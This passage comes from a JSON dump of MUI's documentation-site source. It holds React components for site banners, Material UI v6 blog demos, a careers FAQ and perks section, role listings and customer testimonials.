underline=\"always\"\n        sx={linkStyleOverrides}\n      >\n        Check the careers page →\n      </Link>\n    </React.Fragment>\n  );\n}\n\nexport default function AppHeaderBanner() {\n  const showSurveyMessage = true;\n  const bannerMessage = showSurveyMessage ? getSurveyMessage() : getDefaultHiringMessage();\n\n  return FEATURE_TOGGLE.enable_website_banner ? (\n    <Typography\n      sx={[\n        {\n          fontWeight: 'medium',\n        },\n        (theme) => ({\n          color: '#fff',\n          p: '12px',\n          display: 'flex',\n          flexDirection: { xs: 'column', md: 'row' },\n          alignItems: { xs: 'start', sm: 'center' },\n          justifyContent: 'center',\n          fontSize: theme.typography.pxToRem(13),\n          background: `linear-gradient(-90deg, ${(theme.vars || theme).palette.primary[700]}, ${\n            (theme.vars || theme).palette.primary[500]\n          } 120%)`,\n          ...theme.applyDarkStyles({\n            background: `linear-gradient(90deg, ${(theme.vars || theme).palette.primary[900]}, ${\n              (theme.vars || theme).palette.primary[600]\n            } 120%)`,\n          }),\n        }),\n      ]}\n    >\n      {bannerMessage}\n    </Typography>\n  ) : null;\n}\n"
  },
  {
    "path": "docs/src/components/banner/SideNavigationBanner.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport { alpha } from '@mui/material/styles';\nimport { Link } from '@mui/docs/Link';\n\nexport default function SideNavigationBanner() {\n  return (\n    <Link\n      href=\"https://u24.gov.ua/about/\"\n      target=\"_blank\"\n      sx={[\n        (theme) => ({\n          p: 1,\n          pl: '10px',\n          display: 'flex',\n          alignItems: 'center',\n          gap: '10px',\n          border: '1px solid',\n          borderColor: (theme.vars || theme).palette.divider,\n          borderRadius: 1,\n          transitionProperty: 'all',\n          transitionTiming: 'cubic-bezier(0.4, 0, 0.2, 1)',\n          transitionDuration: '150ms',\n          '&:hover, &:focus-visible': {\n            backgroundColor: (theme.vars || theme).palette.primary[50],\n            borderColor: (theme.vars || theme).palette.primary[200],\n          },\n        }),\n        (theme) =>\n          theme.applyDarkStyles({\n            backgroundColor: alpha(theme.palette.primary[900], 0.2),\n            '&:hover, &:focus-visible': {\n              backgroundColor: alpha(theme.palette.primary[900], 0.4),\n              borderColor: (theme.vars || theme).palette.primary[900],\n            },\n          }),\n      ]}\n    >\n      <Box sx={{ borderRadius: '3px', overflow: 'auto', width: 'fit-content', flexShrink: 0 }}>\n        <Box sx={{ height: 6, width: 16, backgroundColor: '#0057B7' }} />\n        <Box sx={{ height: 6, width: 16, backgroundColor: '#FFD700' }} />\n      </Box>\n      <Typography\n        component=\"span\"\n        variant=\"caption\"\n        sx={{ fontWeight: 'medium', color: 'text.secondary' }}\n      >\n        MUI stands in solidarity with Ukraine.\n      </Typography>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/blog/material-ui-v6-is-out/CustomThemeComparison.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\n\nimport useResizeHandle from 'docs/src/modules/utils/useResizeHandle';\nimport Frame from '../../action/Frame';\n\nexport default function CustomThemeComparison() {\n  const objectRef = React.useRef(null);\n  const handleDragging = React.useCallback((target, length) => {\n    const rect = target.getBoundingClientRect();\n    target.style.setProperty(\n      '--split-point',\n      `clamp(12px, ${((length * 100) / rect.width).toFixed(2)}%, calc(100% - 12px))`,\n    );\n  }, []);\n  const { dragging, getDragHandlers } = useResizeHandle(objectRef, {\n    onDragging: handleDragging,\n  });\n  return (\n    <Frame\n      ref={objectRef}\n      style={{ touchAction: dragging ? 'none' : 'auto' }}\n      sx={{\n        height: 'clamp(260px, 40vmax, 420px)',\n        mx: { md: '-64px' },\n        position: 'relative',\n        mb: 2,\n        '--split-point': '50%',\n        '& > *': {\n          borderRadius: '12px',\n        },\n      }}\n    >\n      <Frame.Demo\n        sx={{\n          overflow: 'auto',\n          flexGrow: 1,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n          position: 'absolute',\n          top: 0,\n          left: 0,\n          width: '100%',\n          height: '100%',\n          clipPath: 'inset(0 calc(100% - var(--split-point)) 0 0)',\n        }}\n      >\n        <Box\n          component=\"img\"\n          src=\"/static/screenshots/material-ui/getting-started/templates/dashboard-default.jpg\"\n          sx={(theme) => ({\n            userSelect: 'none',\n            pointerEvents: 'none',\n            width: '100%',\n            height: '100%',\n            objectFit: 'cover',\n            objectPosition: 'top',\n            ...theme.applyStyles('dark', {\n              content:\n                'url(/static/screenshots/material-ui/getting-started/templates/dashboard-default-dark.jpg)',\n            }),\n          })}\n        />\n      </Frame.Demo>\n      <Frame.Demo\n        sx={{\n          overflow: 'auto',\n          flexGrow: 1,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n          position: 'absolute',\n          top: 0,\n          left: 0,\n          width: '100%',\n          height: '100%',\n          clipPath: 'inset(0 0 0 var(--split-point))',\n        }}\n      >\n        <Box\n          component=\"img\"\n          src=\"/static/screenshots/material-ui/getting-started/templates/dashboard.jpg\"\n          loading=\"lazy\"\n          sx={(theme) => ({\n            userSelect: 'none',\n            pointerEvents: 'none',\n            width: '100%',\n            height: '100%',\n            objectFit: 'cover',\n            objectPosition: 'top',\n            ...theme.applyStyles('dark', {\n              content:\n                'url(/static/screenshots/material-ui/getting-started/templates/dashboard-dark.jpg)',\n            }),\n          })}\n        />\n      </Frame.Demo>\n      <Box\n        {...getDragHandlers()}\n        sx={{\n          position: 'absolute',\n          top: 0,\n          bottom: 0,\n          width: 20,\n          left: 'var(--split-point)',\n          transform: 'translateX(-50%)',\n          cursor: 'col-resize',\n        }}\n      >\n        <Box\n          sx={{\n            margin: '0 auto',\n            width: 10,\n            bgcolor: 'background.default',\n            height: '100%',\n            borderInline: '1px solid',\n            borderColor: 'divider',\n          }}\n        />\n        <Box\n          className=\"handleButton\"\n          sx={{\n            position: 'absolute',\n            width: 2,\n            height: 14,\n            borderRadius: '12px',\n            bgcolor: 'primary.main',\n            top: '50%',\n            left: '50%',\n            transform: 'translate(-50%)',\n            transition: '0.15s',\n          }}\n        />\n      </Box>\n    </Frame>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/blog/material-ui-v6-is-out/FreeTemplatesBento.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function FreeTemplatesBento() {\n  return (\n    <Box sx={{ position: 'relative' }}>\n      <Box\n        sx={(theme) => ({\n          width: '100vw',\n          position: 'relative',\n          left: '50%',\n          transform: 'translateX(-50%)',\n          py: 3,\n          borderBlock: '1px solid',\n          borderColor: 'divider',\n          background:\n            'linear-gradient(180deg, var(--muidocs-palette-primary-50) 0%, hsla(215, 15%, 97%, 0.6) 100%)',\n          ...theme.applyStyles('dark', {\n            background:\n              'linear-gradient(180deg, hsla(210, 100%, 23%, 0.1) 0%, hsla(210, 14%, 4%, 0.5) 100%)',\n          }),\n        })}\n      >\n        <Box\n          component=\"img\"\n          src=\"/static/blog/material-ui-v6-is-out/light-templates.png\"\n          loading=\"lazy\"\n          sx={(theme) => ({\n            width: '100%',\n            maxWidth: 1000,\n            mx: 'auto',\n            display: 'block',\n            height: 'auto',\n            ...theme.applyStyles('dark', {\n              content: `url(/static/blog/material-ui-v6-is-out/dark-templates.png)`,\n            }),\n          })}\n        />\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/blog/material-ui-v6-is-out/ThemeTokens.js",
    "content": "import Box from '@mui/material/Box';\nimport { ThemeProvider, createTheme, styled } from '@mui/material/styles';\n\nconst defaultTheme = createTheme({\n  cssVariables: {\n    colorSchemeSelector: 'data-mui-color-scheme',\n  },\n  colorSchemes: { light: true, dark: true },\n});\n\nconst traverseObject = (palette) => {\n  const result = {};\n  const traverse = (object, parts = []) => {\n    if (object && typeof object === 'object') {\n      for (const key of Object.keys(object)) {\n        traverse(object[key], [...parts, key]);\n      }\n    } else if (typeof object !== 'function') {\n      result[parts.join('.')] = object;\n    }\n  };\n  traverse(palette);\n  return result;\n};\n\nconst Table = styled('table')(({ theme }) => ({\n  width: 'max-content', // to keep the content in 1 line\n  borderCollapse: 'separate',\n  borderSpacing: 0,\n  display: 'block',\n  height: 'clamp(30vmax, 40vmax, 40vmin)',\n  maxHeight: '40vmin',\n  overflowY: 'scroll',\n  '& th': {\n    textAlign: 'left',\n    padding: 10,\n    position: 'sticky',\n    top: 0,\n    zIndex: 1,\n    borderBottom: '1px solid',\n    borderColor: theme.palette.divider,\n    backgroundColor: theme.palette.grey[50],\n    ...theme.applyStyles('dark', {\n      borderColor: 'var(--muidocs-palette-primaryDark-700)',\n      backgroundColor: 'hsl(210, 25%, 9%)',\n    }),\n  },\n  '& td': {\n    verticalAlign: 'top',\n    padding: '4px 10px',\n    fontSize: '0.75rem',\n    fontFamily: 'Menlo,Consolas,\"Droid Sans Mono\",monospace',\n    backgroundColor: theme.palette.common.white,\n    ...theme.applyStyles('dark', {\n      backgroundColor: 'var(--muidocs-palette-primaryDark-900)',\n    }),\n  },\n}));\n\nconst ColorSwatch = styled('span')(({ theme }) => ({\n  display: 'inline-block',\n  marginRight: '3px',\n  marginBottom: '1px',\n  verticalAlign: 'middle',\n  width: '0.75em',\n  height: '0.75em',\n  borderRadius: '2px',\n  border: '1px solid',\n  borderColor: theme.vars.palette.divider,\n  backgroundColor: 'currentcolor',\n}));\n\nexport default function TemplateCarousel() {\n  const colors = traverseObject(defaultTheme.vars.palette);\n  const fonts = Object.keys(defaultTheme.vars.font).map(\n    (key) => `--mui-font-${key.replace('.', '-')}`,\n  );\n  const shadow = Object.keys(defaultTheme.vars.shadows).map((key) => `--mui-shadows-${key}`);\n  const overlay = Object.keys(defaultTheme.vars.overlays).map((key) => `--mui-overlays-${key}`);\n  const spacing = ['--mui-spacing'];\n  const shape = ['--mui-shape-borderRadius'];\n  const zIndex = Object.keys(defaultTheme.vars.zIndex).map((key) => `--mui-zIndex-${key}`);\n  return (\n    <ThemeProvider\n      theme={\n        // Use a function to ensure that the theme context does not inherit the upper branding theme.\n        // It's required because this demo needs to show default tokens of Material UI theme.\n        () => defaultTheme\n      }\n    >\n      <Box\n        sx={(theme) => ({\n          mb: 4,\n          border: '1px solid',\n          borderColor: 'divider',\n          borderRadius: '10px',\n          position: 'relative',\n          overflow: 'hidden',\n          ...theme.applyStyles('dark', {\n            borderColor: 'var(--muidocs-palette-primaryDark-700)',\n          }),\n          mx: 'clamp(-147px, (1000px - 100vw) * 9999, 0px)',\n        })}\n      >\n        <Box\n          sx={(theme) => ({\n            position: 'absolute',\n            bottom: 0,\n            left: 0,\n            width: '100%',\n            height: 56,\n            pointerEvents: 'none',\n            opacity: 0.4,\n            background:\n              'linear-gradient(180deg, hsla(0, 0%, 100%, 0) 80%, hsla(215, 15%, 80%, 0.7) 100%)',\n            ...theme.applyStyles('dark', {\n              opacity: 0.5,\n              background:\n                'linear-gradient(180deg, hsla(0, 0%, 0%, 0) 80%, hsla(215, 15%, 0%, 0.8) 100%)',\n            }),\n          })}\n        />\n        <Box\n          sx={(theme) => ({\n            position: 'absolute',\n            top: 0,\n            right: 0,\n            height: '100%',\n            width: 56,\n            pointerEvents: 'none',\n            opacity: 0.4,\n            background:\n              'linear-gradient(90deg, hsla(0, 0%, 100%, 0) 80%, hsla(215, 15%, 80%, 0.7) 100%)',\n            ...theme.applyStyles('dark', {\n              opacity: 0.5,\n              background:\n                'linear-gradient(90deg, hsla(0, 0%, 0%, 0) 80%, hsla(215, 15%, 0%, 0.8) 100%)',\n            }),\n          })}\n        />\n        <Box sx={{ overflow: 'auto' }}>\n          <Table>\n            <thead>\n              <tr>\n                <th>Light colors</th>\n                <th>Dark colors</th>\n                <th>Font</th>\n                <th>Overlay</th>\n                <th>Shadow</th>\n                <th>Spacing</th>\n                <th>Shape</th>\n                <th>z Index</th>\n              </tr>\n            </thead>\n            <tbody>\n              {Object.entries(colors).map((color, index) => (\n                <tr key={index}>\n                  <td>\n                    <ColorSwatch data-mui-color-scheme=\"light\" style={{ color: color[1] }} />\n                    --mui-{color[0].replace('.', '-')}\n                  </td>\n                  <td>\n                    <ColorSwatch data-mui-color-scheme=\"dark\" style={{ color: color[1] }} />\n                    --mui-{color[0].replace('.', '-')}\n                  </td>\n                  <td>{fonts[index]}</td>\n                  <td>{overlay[index]}</td>\n                  <td>{shadow[index]}</td>\n                  <td>{spacing[index]}</td>\n                  <td>{shape[index]}</td>\n                  <td>{zIndex[index]}</td>\n                </tr>\n              ))}\n            </tbody>\n          </Table>\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/careers/CareersFaq.tsx",
    "content": "import { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport KeyboardArrowDownRounded from '@mui/icons-material/KeyboardArrowDownRounded';\nimport MuiAccordion from '@mui/material/Accordion';\nimport MuiAccordionSummary from '@mui/material/AccordionSummary';\nimport MuiAccordionDetail from '@mui/material/AccordionDetails';\nimport { MarkdownElement } from '@mui/docs/MarkdownElement';\nimport { createRender } from '@mui/internal-markdown';\nimport { Link } from '@mui/docs/Link';\nimport Section from 'docs/src/layouts/Section';\n\nconst Accordion = styled(MuiAccordion)(({ theme }) => ({\n  padding: theme.spacing(2),\n  transition: theme.transitions.create('box-shadow'),\n  borderRadius: theme.shape.borderRadius,\n  '&:hover': {\n    borderColor: theme.palette.primary[300],\n    boxShadow: `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n  },\n  '&:not(:last-of-type)': {\n    marginBottom: theme.spacing(2),\n  },\n  '&::before': {\n    display: 'none',\n  },\n  '&::after': {\n    display: 'none',\n  },\n  ...theme.applyDarkStyles({\n    '&:hover': {\n      borderColor: alpha(theme.palette.primary[600], 0.6),\n      boxShadow: '0px 4px 20px rgba(0, 0, 0, 0.8)',\n    },\n  }),\n}));\n\nconst AccordionSummary = styled(MuiAccordionSummary)(({ theme }) => ({\n  padding: theme.spacing(2),\n  margin: theme.spacing(-2),\n  minHeight: 'auto',\n  '&.Mui-expanded': {\n    minHeight: 'auto',\n  },\n  '& .MuiAccordionSummary-content': {\n    margin: 0,\n    paddingRight: theme.spacing(2),\n    '&.Mui-expanded': {\n      margin: 0,\n    },\n  },\n}));\n\nconst AccordionDetails = styled(MuiAccordionDetail)(({ theme }) => ({\n  marginTop: theme.spacing(1),\n  padding: 0,\n}));\n\n// Data from https://www.notion.so/mui-org/Hiring-FAQ-64763b756ae44c37b47b081f98915501\nconst faqData = [\n  {\n    summary: 'Are there application deadlines?',\n    detail: 'No. If a job is visible on our careers page, then you can still apply.',\n  },\n  {\n    summary: 'Does MUI do whiteboarding during interviews?',\n    detail:\n      'No. We ask applicants to complete challenges that resemble the kinds of contributions we would expect from the role.',\n  },\n  {\n    summary: 'Would I be hired as an employee or contractor?',\n    detail: `\n  New team members can choose whether to join as an employee or a contractor. The legal requirements may vary significantly between countries, but we've designed our compensation packages to minimize the differences between each type of contract. You can also switch between the two statuses if and when your circumstances change.\n\n  For those who choose to join as employees:\n\n  - people in France are hired as full-time employees under the French [legal entity](https://www.infogreffe.fr/entreprise-societe/852357748-material-ui-750119B189960000).\n  - people outside of France are hired through an Employer of Record (EOR) such as [Deel](https://www.deel.com/).\n`,\n  },\n  {\n    summary: 'Which countries does MUI hire from?',\n    detail: `\n  As a general rule, we can hire from any country where we can legally compensate you. This includes countries where:\n\n  - [we can send money via Wise](https://wise.com/help/articles/2571942/what-countries-can-i-send-to)\n  - [we can use Deel as an EOR](https://help.letsdeel.com/hc/en-gb/articles/4407737728273-Where-Is-Deel-Available)\n\n  Beyond that, we do have some limitations:\n\n  - We favor candidates working normal hours in the UTC-6 to UTC+5 timezone range. This isn't a hard requirement, but it greatly simplifies communication and collaboration.\n  - We can't hire fiscal residents of Russia due to legal and ethical constraints.\n`,\n  },\n  {\n    summary: 'Does MUI offer visa sponsorship?',\n    detail: `At present, MUI does not provide visa sponsorship for individuals applying for new roles within the company. Candidates must already possess legal authorization to work in the country for which they're applying to be considered for employment.`,\n  },\n  {\n    summary: 'How would you describe the company culture?',\n    detail: `\n  We aim to build a team of people who:\n\n  - **seek accuracy over complacency.** People who enjoy discovering the truth more than being right. People who appreciate debate, embrace confusion, and reason carefully.\n  - **aim for clarity of thought.** People who take the time to understand the problem before solving it. People who can explain complex ideas in simple terms, and know how to tailor their communication to their audience.\n  - **possess self-determination.** People who are motivated to set their own goals and work towards them. People who can manage their own time and priorities, and don't wait to be told what to do.\n  - **view challenges as opportunities.** People who don't stop when things get tough—on the contrary, that's when the work starts to get really interesting.\n\n  See [company culture](https://www.notion.so/Company-culture-8c295a7b95564f2da03aca6759413391?pvs=21) in our handbook to learn more.\n`,\n  },\n  {\n    summary: 'Can I use AI during the hiring process?',\n    detail: `\n  When testing candidates, we aim to simulate the actual conditions they would work in. You may use generative AI tools during the hiring process in the same way you might use them in your day-to-day work—for example, to speed up the process of writing boilerplate code. \n    \n  However, we ask that you don't use AI to generate complete solutions to technical challenges, nor to replace your own decision-making. We need to see your thought process and problem-solving skills—not the output of a machine learning model.\n`,\n  },\n];\n\nconst render = createRender({\n  options: {\n    env: {\n      SOURCE_CODE_REPO: '',\n    },\n  },\n});\n\nfunction renderFAQItem(faq: (typeof faqData)[0]) {\n  return (\n    <Accordion variant=\"outlined\">\n      <AccordionSummary\n        expandIcon={<KeyboardArrowDownRounded sx={{ fontSize: 20, color: 'primary.main' }} />}\n      >\n        <Typography variant=\"body2\" component=\"span\" sx={{ fontWeight: 'bold' }}>\n          {faq.summary}\n        </Typography>\n      </AccordionSummary>\n      <AccordionDetails sx={{ '& p:last-of-type': { mb: 0 } }}>\n        <MarkdownElement renderedMarkdown={render(faq.detail)} />\n      </AccordionDetails>\n    </Accordion>\n  );\n}\n\nexport default function CareersFaq() {\n  return (\n    <Section bg=\"transparent\" cozy>\n      <Typography id=\"faq\" variant=\"h2\" sx={{ mb: { xs: 2, sm: 4 } }}>\n        Frequently asked questions\n      </Typography>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 12, md: 6 }}>\n          {faqData.map((faq, index) => {\n            if (index % 2 !== 0) {\n              return null;\n            }\n            return renderFAQItem(faq);\n          })}\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          {faqData.map((faq, index) => {\n            if (index % 2 !== 1) {\n              return null;\n            }\n            return renderFAQItem(faq);\n          })}\n          <Paper\n            variant=\"outlined\"\n            sx={(theme) => ({\n              p: 2,\n              borderStyle: 'dashed',\n              borderColor: 'divider',\n              bgcolor: 'white',\n              ...theme.applyDarkStyles({\n                bgcolor: 'primaryDark.800',\n              }),\n            })}\n          >\n            <Box sx={{ textAlign: 'left' }}>\n              <Typography variant=\"body2\" sx={{ color: 'text.primary', fontWeight: 'bold' }}>\n                Still have questions?\n              </Typography>\n            </Box>\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary', my: 1, textAlign: 'left' }}>\n              Feel free to reach out with any other questions you might have about our hiring\n              process.\n            </Typography>\n            <Link href=\"mailto:job@mui.com\" variant=\"body2\">\n              Email us <KeyboardArrowRightRounded fontSize=\"small\" />\n            </Link>\n          </Paper>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/careers/PerksBenefits.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Stack from '@mui/material/Stack';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport { Link } from '@mui/docs/Link';\nimport IconImage from '@mui/docs/IconImage';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport ROUTES from 'docs/src/route';\n\nconst companyInfo = [\n  {\n    title: 'About us',\n    description: 'Learn about the team and our history.',\n    routeUrl: ROUTES.about,\n  },\n  {\n    title: 'Handbook',\n    description: 'Find out how we function as a company.',\n    routeUrl: ROUTES.handbook,\n  },\n  {\n    title: 'Blog',\n    description: 'Check out the latest product updates.',\n    routeUrl: ROUTES.blog,\n  },\n];\n\ninterface CardContentBlockProps {\n  description: string;\n  title: string;\n}\n\nfunction CardContentBlock({ title, description }: CardContentBlockProps) {\n  return (\n    <React.Fragment>\n      <Typography component=\"h2\" variant=\"body2\" sx={{ fontWeight: 'semiBold' }}>\n        {title}\n      </Typography>\n      <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 1 }}>\n        {description}\n      </Typography>\n      <Typography variant=\"body2\" color=\"primary\" sx={{ fontWeight: 'bold', mt: 'auto' }}>\n        Read more <KeyboardArrowRightRounded fontSize=\"small\" sx={{ verticalAlign: 'middle' }} />\n      </Typography>\n    </React.Fragment>\n  );\n}\n\nfunction RemoteAwardCard() {\n  return (\n    <Paper\n      component={Link}\n      href=\"/blog/remote-award-win-2024/\"\n      noLinkStyle\n      variant=\"outlined\"\n      sx={{ p: 2, display: 'flex', flexDirection: 'column ' }}\n    >\n      <Box\n        sx={{\n          mb: 2,\n          maxWidth: { xs: 315, sm: 325 },\n          maxHeight: 315,\n          display: 'flex',\n          aspectRatio: '1 / 1',\n          border: '1px solid',\n          borderColor: 'divider',\n          borderRadius: '6px',\n          overflow: 'clip',\n        }}\n      >\n        <Box\n          component=\"img\"\n          src=\"/static/branding/careers/remote-award-light.png\"\n          alt=\"MUI is the winner of the Remote Excellence Awards in the Small and Mighty for SMEs category.\"\n          sx={[\n            {\n              height: '1200px',\n              width: '1200px',\n            },\n            (theme) => ({\n              width: '100%',\n              height: '100%',\n              ...theme.applyDarkStyles({\n                content: `url(/static/branding/careers/remote-award-dark.png)`,\n              }),\n            }),\n          ]}\n        />\n      </Box>\n      <Box sx={{ mt: 'auto' }}>\n        <CardContentBlock\n          title=\"Remote Excellence Awards\"\n          description={`Winners in the first-ever Remote Excellence Awards, in the Small & Mighty category! 🎉`}\n        />\n      </Box>\n    </Paper>\n  );\n}\n\nexport default function PerksBenefits() {\n  return (\n    <Section bg=\"gradient\" cozy>\n      <Grid container spacing={5} sx={{ alignItems: 'center' }}>\n        <Grid size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Working at MUI\"\n            title={\n              <Typography variant=\"h2\" id=\"perks-and-benefits\">\n                Perks & benefits\n              </Typography>\n            }\n            description=\"To help you go above and beyond with us, we provide:\"\n          />\n          <Box sx={{ maxWidth: 500 }}>\n            {[\n              ['100% remote work', 'Our entire company is globally distributed.'],\n              ['Time off', 'We provide 33 days of paid time off globally.'],\n              [\n                'Retreats',\n                'We meet up every 8+ months for a week of working & having fun together!',\n              ],\n              [\n                'Equipment',\n                'We let you choose the hardware of your choice (within a given budget).',\n              ],\n            ].map((textArray) => (\n              <Box\n                key={textArray[0]}\n                sx={{ display: 'flex', alignItems: 'center', gap: 2, mt: 1, py: 0.5 }}\n              >\n                <IconImage name=\"pricing/yes\" />\n                <div>\n                  <Typography\n                    variant=\"body2\"\n                    sx={{ color: 'text.primary', fontWeight: 'semiBold' }}\n                  >\n                    {textArray[0]}\n                  </Typography>\n                  <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                    {textArray[1]}\n                  </Typography>\n                </div>\n              </Box>\n            ))}\n          </Box>\n        </Grid>\n        <Grid\n          sx={{\n            p: { xs: 2, sm: 0 },\n            display: 'flex',\n            flexDirection: { xs: 'column', sm: 'row' },\n            gap: 2,\n          }}\n          size={{ xs: 12, md: 6 }}\n        >\n          <RemoteAwardCard />\n          <Stack spacing={2} useFlexGap>\n            {companyInfo.map(({ title, description, routeUrl }) => (\n              <Paper\n                key={title}\n                component={Link}\n                href={routeUrl}\n                noLinkStyle\n                variant=\"outlined\"\n                sx={{ p: 2, width: '100%', flexGrow: 1, display: 'flex', flexDirection: 'column' }}\n              >\n                <CardContentBlock title={title} description={description} />\n              </Paper>\n            ))}\n          </Stack>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/careers/RoleEntry.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\n\ninterface RoleProps {\n  description: string;\n  title: string;\n  url?: string;\n}\n\nexport default function RoleEntry(props: RoleProps) {\n  if (props.url) {\n    return (\n      <Box\n        sx={{\n          py: 1,\n          display: 'flex',\n          flexDirection: { xs: 'column', lg: 'row' },\n          justifyContent: 'space-between',\n          alignItems: 'start',\n          gap: 2,\n        }}\n      >\n        <div>\n          <Typography\n            variant=\"body1\"\n            gutterBottom\n            sx={{ color: 'text.primary', fontWeight: 'medium' }}\n          >\n            {props.title}\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary', maxWidth: 550 }}>\n            {props.description}\n          </Typography>\n        </div>\n        <Button\n          component=\"a\"\n          variant=\"outlined\"\n          color=\"secondary\"\n          size=\"small\"\n          href={props.url}\n          endIcon={<KeyboardArrowRightRounded />}\n        >\n          More about this role\n        </Button>\n      </Box>\n    );\n  }\n\n  return (\n    <div>\n      <Typography variant=\"body1\" gutterBottom sx={{ color: 'text.primary', fontWeight: 'medium' }}>\n        {props.title}\n      </Typography>\n      <Typography variant=\"body2\" sx={{ color: 'text.secondary', maxWidth: 650 }}>\n        {props.description}\n      </Typography>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/customers/CustomerQuotes.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Avatar from '@mui/material/Avatar';\n\nconst QUOTES = [\n  // Using current Testimonials as placeholders just to visualize\n\n  {\n    quote:\n      '\"We\\'ve relied on Material UI really heavily. I override a lot of default styles to try and make things our own, but the time we save with complex components like the Autocomplete and the Data Grid are so worth it. Every other library I try has 80% of what I\\'m looking for when it comes to complex use cases, Material UI has it all under one roof which is a huge help for our small team.\"',\n    profile: {\n      avatarSrc: 'https://avatars.githubusercontent.com/u/21114044?s=58',\n      avatarSrcSet: 'https://avatars.githubusercontent.com/u/21114044?s=116 2x',\n      name: 'Kyle Gill',\n      role: 'Engineer & Designer',\n      company: (\n        <img\n          src=\"/static/branding/companies/particl-dark.svg\"\n          width=\"90\"\n          height=\"16\"\n          alt=\"Particl logo\"\n          loading=\"lazy\"\n          style={{\n            marginLeft: '-12px',\n            filter:\n              'brightness(0) saturate(100%) invert(71%) sepia(5%) saturate(5550%) hue-rotate(182deg) brightness(102%) contrast(102%)',\n          }}\n        />\n      ),\n      gridArea: 'one',\n    },\n  },\n  {\n    quote:\n      '\"Material UI looks great and lets us deliver fast, thanks to their solid API design and documentation - it\\'s refreshing to use a component library where you get everything you need from their site. We\\'re extremely grateful to the team for the time and effort spent maintaining the project.\"',\n    profile: {\n      avatarSrc: 'https://avatars.githubusercontent.com/u/197016?s=58',\n      avatarSrcSet: 'https://avatars.githubusercontent.com/u/197016?s=116 2x',\n      name: 'Jean-Laurent de Morlhon',\n      role: 'VP of Engineering',\n      company: (\n        <img\n          src=\"/static/branding/companies/docker-blue.svg\"\n          width=\"81\"\n          height=\"21\"\n          alt=\"Docker logo\"\n          loading=\"lazy\"\n        />\n      ),\n      gridArea: 'two',\n    },\n  },\n  {\n    quote:\n      '\"Material UI offers a wide variety of high quality components that have allowed us to ship features faster. It has been used by more than a hundred engineers in our organization. What\\'s more, Material UI\\'s well architected customization system has allowed us to differentiate ourselves in the marketplace.\"',\n    profile: {\n      avatarSrc: 'https://avatars.githubusercontent.com/u/28296253?s=58',\n      avatarSrcSet: 'https://avatars.githubusercontent.com/u/28296253?s=116 2x',\n      name: 'Joona Rahko',\n      role: 'Staff Software Engineer',\n      company: (\n        <img\n          src=\"/static/branding/companies/unity-blue.svg\"\n          width=\"56\"\n          height=\"21\"\n          alt=\"Unity logo\"\n          loading=\"lazy\"\n        />\n      ),\n      gridArea: 'three',\n    },\n  },\n  {\n    quote:\n      '\"After much research on React component libraries, we decided to ditch our in-house library for Material UI, using its powerful customization system to implement our Design System. This simple move did a rare thing in engineering: it lowered our maintenance costs while enhancing both developer and customer experience. All of this was done without sacrificing the organization\\'s branding and visual identity.\"',\n    profile: {\n      avatarSrc: 'https://avatars.githubusercontent.com/u/732422?s=58',\n      avatarSrcSet: 'https://avatars.githubusercontent.com/u/732422?s=116 2x',\n      name: 'Gustavo de Paula',\n      role: 'Specialist Software Engineer',\n      company: (\n        <img\n          src=\"/static/branding/companies/loggi-blue.svg\"\n          width=\"61\"\n          height=\"20\"\n          alt=\"Loggi logo\"\n          loading=\"lazy\"\n        />\n      ),\n      gridArea: 'four',\n    },\n  },\n];\n\nfunction Data({\n  quote,\n  profile,\n}: {\n  quote: string;\n  profile: {\n    avatarSrc: string;\n    avatarSrcSet: string;\n    name: string;\n    role: string;\n    gridArea: string;\n    company?: React.ReactElement<unknown>;\n  };\n}) {\n  const isFirstColumn = profile.gridArea === 'one';\n  const isLastColumn = profile.gridArea === 'four';\n\n  return (\n    <Box\n      sx={(theme) => ({\n        p: 3,\n        height: '100%',\n        display: 'flex',\n        flexDirection: 'column',\n        justifyContent: 'end',\n        color: 'text.primary',\n        backgroundColor: 'background.paper',\n        background:\n          isFirstColumn || isLastColumn\n            ? `radial-gradient(#ebf5ff 1.8px, transparent 1.8px) 0% 50% / 22px 22px repeat,\n              linear-gradient(180deg, ${(theme.vars || theme).palette.primary[50]} 5%, #FFF 20%)`\n            : undefined,\n        ...theme.applyDarkStyles({\n          background:\n            isFirstColumn || isLastColumn\n              ? 